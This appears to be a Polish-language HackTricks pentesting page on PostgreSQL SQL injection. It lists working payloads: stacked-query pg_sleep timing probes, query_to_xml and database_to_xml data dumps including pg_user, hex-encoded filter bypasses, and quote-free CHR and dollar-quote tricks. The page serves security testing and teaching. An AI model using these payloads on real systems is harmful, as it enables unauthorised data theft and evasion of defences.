PostgreSQL injection

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Ta strona ma na celu wyjaśnienie różnych trików, które mogą pomóc w wykorzystaniu SQL injection znalezionego w bazie danych postgresql oraz uzupełnienie trików, które można znaleźć na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interakcja z siecią - eskalacja uprawnień, skanowanie portów, ujawnienie odpowiedzi NTLM challenge oraz exfiltracja

Moduł PostgreSQL dblink oferuje możliwości łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi NTLM challenge. Aby uzyskać szczegółowe metody wykonywania tych ataków, sprawdź jak wykonać te ataki.

Możesz przeczytać ten przykład, aby zobaczyć przykład CTF jak załadować dane do dużych obiektów, a następnie wyeksportować zawartość dużych obiektów w nazwie użytkownika funkcji dblink_connect.

Ataki PostgreSQL: Odczyt/zapis, RCE, privesc

Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:

{{#ref}} ../../../network-services-pentesting/pentesting-postgresql.md {{#endref}}

Ominięcie WAF

Funkcje łańcuchowe PostgreSQL

Manipulowanie łańcuchami może pomóc w ominięciu WAF-ów lub innych ograniczeń.
Na tej stroniemożesz znaleźć kilka przydatnych funkcji łańcuchowych.

Złożone zapytania

Pamiętaj, że postgresql obsługuje złożone zapytania, ale wiele aplikacji zgłosi błąd, jeśli zwrócone zostaną 2 odpowiedzi, gdy oczekiwana jest tylko 1. Jednak nadal możesz nadużywać złożonych zapytań za pomocą wstrzykiwania czasowego:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML triki

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w zaledwie jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w zaledwie 1 wierszu:

sql
SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja zrzuci całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, ponieważ możesz spowodować DoS lub nawet swojego własnego klienta):

sql
SELECT database_to_xml(true,true,'');

Strings in Hex

Jeśli możesz uruchomić zapytania przekazując je wewnątrz ciągu (na przykład używając funkcji query_to_xml). Możesz użyć convert_from, aby przekazać ciąg jako hex i w ten sposób obejść filtry:

sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Zabronione cytaty

Jeśli nie możesz użyć cytatów w swoim ładunku, możesz to obejść za pomocą CHR dla podstawowych klauzul (konkatenacja znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE itp. Nie działa dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Lub z $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks